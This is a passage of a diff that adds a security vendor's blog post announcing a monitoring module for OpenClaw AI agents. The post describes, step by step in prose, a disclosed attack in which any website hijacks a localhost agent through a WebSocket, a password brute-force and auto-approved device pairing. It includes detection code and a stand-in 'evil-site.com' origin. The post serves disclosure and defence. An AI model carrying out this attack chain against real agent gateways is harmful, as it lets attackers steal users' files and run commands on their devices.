|
|
29
|
+
.warning h3 { color:var(--red); margin-top:0; }
|
|
30
|
+
.cta { background:var(--accent); color:#000; padding:.75rem 1.5rem; border-radius:6px; text-decoration:none; font-weight:600; display:inline-block; margin:1rem .5rem 1rem 0; }
|
|
31
|
+
.cta-outline { border:1px solid var(--accent); color:var(--accent); background:transparent; padding:.75rem 1.5rem; border-radius:6px; text-decoration:none; font-weight:600; display:inline-block; margin:1rem 0; }
|
|
32
|
+
ul, ol { margin:0 0 1rem 1.5rem; }
|
|
33
|
+
li { margin-bottom:.5rem; }
|
|
34
|
+
.nav { padding:1rem 0; border-bottom:1px solid #2a2a3a; margin-bottom:2rem; }
|
|
35
|
+
.nav a { color:var(--fg); text-decoration:none; margin-right:1.5rem; }
|
|
36
|
+
.nav a:hover { color:var(--accent); }
|
|
37
|
+
.attack-chain { background:var(--card); border:1px solid #2a2a3a; border-radius:8px; padding:1.5rem; margin:1.5rem 0; }
|
|
38
|
+
.attack-step { display:flex; align-items:flex-start; margin:.75rem 0; }
|
|
39
|
+
.step-num { background:var(--red); color:#fff; width:28px; height:28px; border-radius:50%; display:flex; align-items:center; justify-content:center; font-weight:bold; font-size:.85rem; flex-shrink:0; margin-right:12px; margin-top:2px; }
|
|
40
|
+
.step-text { flex:1; }
|
|
41
|
+
.new-badge { background:var(--accent); color:#000; padding:2px 8px; border-radius:4px; font-size:.75rem; font-weight:bold; }
|
|
42
|
+
table { width:100%; border-collapse:collapse; margin:1rem 0; }
|
|
43
|
+
th, td { padding:.6rem .8rem; text-align:left; border-bottom:1px solid #2a2a3a; }
|
|
44
|
+
th { color:var(--accent); font-weight:600; }
|
|
45
|
+
</style>
|
|
46
|
+
</head>
|
|
47
|
+
<body>
|
|
48
|
+
<div class="container">
|
|
49
|
+
<nav class="nav">
|
|
50
|
+
<a href="/">ClawMoat</a>
|
|
51
|
+
<a href="/blog/">Blog</a>
|
|
52
|
+
<a href="https://github.com/darfaz/clawmoat">GitHub</a>
|
|
53
|
+
</nav>
|
|
54
|
+
|
|
55
|
+
<article>
|
|
56
|
+
<h1>Any Website Can Hijack Your OpenClaw Agent — and ClawMoat Now Detects It</h1>
|
|
57
|
+
<p class="meta">February 27, 2026 · 8 min read · <span class="new-badge">v0.7.1</span></p>
|
|
58
|
+
|
|
59
|
+
<div class="warning">
|
|
60
|
+
<h3>🚨 Critical Vulnerability Disclosed</h3>
|
|
61
|
+
<p>Oasis Security published research showing that <strong>any website can silently take full control of an OpenClaw agent</strong> running on localhost. No plugins, no extensions, no user interaction required. <a href="https://www.oasis.security/blog/openclaw-vulnerability">Full research →</a></p>
|
|
62
|
+
</div>
|
|
63
|
+
|
|
64
|
+
<p>This is the most serious OpenClaw vulnerability disclosed to date. Unlike previous attacks that required exposed ports, malicious skills, or crafted messages, this one requires <strong>nothing except visiting a website</strong>.</p>
|
|
65
|
+
|
|
66
|
+
<p>We've shipped ClawMoat v0.7.1 with a new <code>GatewayMonitor</code> module specifically designed to detect this attack pattern.</p>
|
|
67
|
+
|
|
68
|
+
<h2>The Attack Chain</h2>
|
|
69
|
+
|
|
70
|
+
<div class="attack-chain">
|
|
71
|
+
<div class="attack-step"><div class="step-num">1</div><div class="step-text">Developer has OpenClaw running on localhost (the default setup)</div></div>
|
|
72
|
+
<div class="attack-step"><div class="step-num">2</div><div class="step-text">Developer visits any malicious or compromised website</div></div>
|
|
73
|
+
<div class="attack-step"><div class="step-num">3</div><div class="step-text">JavaScript opens a WebSocket to localhost on OpenClaw's gateway port — <strong>browsers don't enforce CORS on WebSocket connections</strong></div></div>
|
|
74
|
+
<div class="attack-step"><div class="step-num">4</div><div class="step-text">Script brute-forces the gateway password at hundreds of attempts/second — <strong>the rate limiter exempts localhost connections</strong></div></div>
|
|
75
|
+
<div class="attack-step"><div class="step-num">5</div><div class="step-text">Once authenticated, registers as a trusted device — <strong>gateway auto-approves pairings from localhost</strong></div></div>
|
|
76
|
+
<div class="attack-step"><div class="step-num">6</div><div class="step-text"><strong>Full agent takeover:</strong> read messages, exfiltrate files, execute shell commands on any paired device</div></div>
|
|
77
|
+
</div>
|
|
78
|
+
|
|
79
|
+
<p>Oasis Security <a href="https://www.youtube.com/watch?v=A15fuHs7fOc">demonstrated this end-to-end</a> — from a browser tab to full agent control in seconds.</p>
|
|
80
|
+
|
|
81
|
+
<h2>Three Failures That Enable the Attack</h2>
|
|
82
|
+
|
|
83
|
+
<ol>
|
|
84
|
+
<li><strong>No rate limiting on localhost</strong> — The gateway's rate limiter exempts connections from 127.0.0.1, allowing unlimited brute-force attempts</li>
|
|
85
|
+
<li><strong>Auto-approve localhost pairings</strong> — New device registrations from localhost are automatically approved without user confirmation</li>
|
|
86
|
+
<li><strong>WebSocket to localhost is unrestricted</strong> — Browsers don't enforce same-origin policy on WebSocket connections to localhost</li>
|
|
87
|
+
</ol>
|
|
88
|
+
|
|
89
|
+
<p>Each alone would be a concern. Combined, they create a zero-click full takeover from any browser tab.</p>
|
|
90
|
+
|
|
91
|
+
<h2>How ClawMoat v0.7.1 Detects This</h2>
|
|
92
|
+
|
|
93
|
+
<p>We shipped a new <code>GatewayMonitor</code> module with four detection capabilities:</p>
|
|
94
|
+
|
|
95
|
+
<h3>1. Brute-Force Detection</h3>
|
|
96
|
+
|
|
97
|
+
<pre><code>const { GatewayMonitor } = require('clawmoat');
|
|
98
|
+
const monitor = new GatewayMonitor({
|
|
99
|
+
bruteForceThreshold: 10, // Alert after 10 failed attempts
|
|
100
|
+
bruteForceWindowMs: 60000, // Within 60 seconds
|
|
101
|
+
onAlert: (alert) => {
|
|
102
|
+
console.error('🚨 SECURITY ALERT:', alert.message);
|
|
103
|
+
// Send to webhook, Slack, Discord, etc.
|
|
104
|
+
}
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
// Hook into your gateway auth handler
|
|
108
|
+
monitor.recordAuthAttempt({
|
|
109
|
+
source: req.ip,
|
|
110
|
+
success: false,
|
|
111
|
+
origin: req.headers.origin // Detects cross-origin attacks
|
|
112
|
+
});</code></pre>
|
|
113
|
+
|
|
114
|
+
<p>The monitor tracks authentication attempts per source and time window. When the threshold is exceeded, it fires a <code>brute_force_detected</code> alert with severity <code>critical</code>.</p>
|
|
115
|
+
|
|
116
|
+
<h3>2. Suspicious WebSocket Origin Detection</h3>
|
|
117
|
+
|
|
118
|
+
<p>The key insight from the Oasis research: the attack comes via a WebSocket from a <em>different</em> website. ClawMoat flags any WebSocket connection with a non-localhost origin:</p>
|
|
119
|
+
|
|
120
|
+
<pre><code>// Automatically flagged as suspicious:
|
|
121
|
+
// Origin: https://evil-site.com → WebSocket to localhost:18789
|
|
122
|
+
// Alert: "WebSocket connection from suspicious origin"</code></pre>
|
|
123
|
+
|
|
124
|
+
<h3>3. Device Pairing Alerts</h3>
|
|
125
|
+
|
|
126
|
+
<pre><code>monitor.recordDevicePairing({
|
|
127
|
+
deviceId: 'unknown-device-xyz',
|
|
128
|
+
source: 'localhost',
|
|
129
|
+
autoApproved: true
|
|
130
|
+
});
|
|
131
|
+
// → CRITICAL alert: "Localhost auto-approve is the exact vector
|
|
132
|
+
// used in the Oasis WebSocket hijack"</code></pre>
|
|
133
|
+
|
|
134
|
+
<h3>4. Gateway Configuration Audit</h3>
|
|
135
|
+
|
|
136
|
+
<pre><code>const audit = monitor.auditGatewayConfig();
|
|
137
|
+
// Checks for:
|
|
138
|
+
// - Weak/missing gateway password
|
|
139
|
+
// - Binding to all interfaces (0.0.0.0)
|
|
140
|
+
// - Auto-approve enabled
|
|
141
|
+
// - Localhost exempt from rate limiting
|
|
142
|
+
// - Default port usage
|
|
143
|
+
|
|
144
|
+
console.log('Security score:', audit.score + '/100');
|
|
145
|
+
console.log('Oasis vulnerable:', audit.oasisVulnerable);</code></pre>
|
|
146
|
+
|
|
147
|
+
<h2>What You Should Do Right Now</h2>
|
|
148
|
+
|
|
149
|
+
<h3>Immediate (5 minutes)</h3>
|
|
150
|
+
|
|
151
|
+
<ol>
|
|
152
|
+
<li><strong>Change your gateway password</strong> to 32+ characters:
|
|
153
|
+
<pre><code>node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"</code></pre>
|
|
154
|
+
</li>
|
|
155
|
+
<li><strong>Check for unknown paired devices</strong> in your OpenClaw dashboard</li>
|
|
156
|
+
<li><strong>Disable auto-approve</strong> for device pairings</li>
|
|
157
|
+
</ol>
|
|
158
|
+
|
|
159
|
+
<h3>Short-term (this week)</h3>
|
|
160
|
+
|
|
161
|
+
<ol>
|
|
162
|
+
<li>Install ClawMoat for monitoring:
|
|
163
|
+
<pre><code>npm install clawmoat@0.7.1</code></pre>
|
|
164
|
+
</li>
|
|
165
|
+
<li>Bind to a Tailscale/VPN IP instead of localhost</li>
|
|
166
|
+
<li>Use a non-default gateway port</li>
|
|
167
|
+
<li>Enable rate limiting for ALL connections, including localhost</li>
|
|
168
|
+
</ol>
|
|
169
|
+
|
|
170
|
+
<h3>Generate a hardened config</h3>
|
|
171
|
+
|
|
172
|
+
<pre><code>const { GatewayMonitor } = require('clawmoat');
|
|
173
|
+
const config = GatewayMonitor.getHardenedConfig();
|
|
174
|
+
console.log(JSON.stringify(config, null, 2));
|
|
175
|
+
// Outputs config with:
|
|
176
|
+
// - 64-char random token
|
|
177
|
+
// - Non-default port
|
|
178
|
+
// - Auto-approve disabled
|
|
179
|
+
// - Localhost rate limiting enabled</code></pre>
|
|
180
|
+
|
|
181
|
+
<h2>The Bigger Picture: Four Attack Vectors in One Month</h2>
|
|
182
|
+
|
|
183
|
+
<table>
|
|
184
|
+
<tr><th>Attack</th><th>Vector</th><th>Impact</th><th>ClawMoat Detection</th></tr>
|
|
185
|
+
<tr><td>CVE-2026-25253</td><td>Crafted link</td><td>Full RCE</td><td>CVE verifier</td></tr>
|
|
186
|
+
<tr><td>ClawHavoc</td><td>Supply chain</td><td>824+ malicious skills</td><td>Skill integrity checker</td></tr>
|
|
187
|
+
<tr><td>40K exposed</td><td>Misconfiguration</td><td>Full remote access</td><td>Gateway audit</td></tr>
|
|
188
|
+
<tr><td><strong>Oasis hijack</strong></td><td><strong>Any website</strong></td><td><strong>Full agent takeover</strong></td><td><strong>Gateway monitor (v0.7.1)</strong></td></tr>
|
|
189
|
+
</table>
|
|
190
|
+
|
|
191
|
+
<p>The vulnerability disclosure rate is outpacing fixes. Runtime monitoring is no longer optional — it's the difference between knowing you've been compromised and finding out months later.</p>
|
|
192
|
+
|
|
193
|
+
<h2>205 Tests. Zero Dependencies. One npm Install.</h2>
|
|
194
|
+
|
|
195
|
+
<pre><code>npm install clawmoat</code></pre>
|
|
196
|
+
|
|
197
|
+
<p>ClawMoat v0.7.1 includes the new GatewayMonitor alongside all existing protections: permission tiers, forbidden zone enforcement, credential monitoring, skill integrity checking, network egress logging, insider threat detection, and inter-agent message scanning.</p>
|
|
198
|
+
|
|
199
|
+
<a href="https://github.com/darfaz/clawmoat" class="cta">View on GitHub</a>
|
|
200
|
+
<a href="/blog/40000-exposed-openclaw-instances.html" class="cta-outline">40K Exposed Instances →</a>
|
|
201
|
+
|
|
202
|
+
</article>
|
|
203
|
+
</div>
|
|
204
|
+
</body>
|
|
205
|
+
</html>
|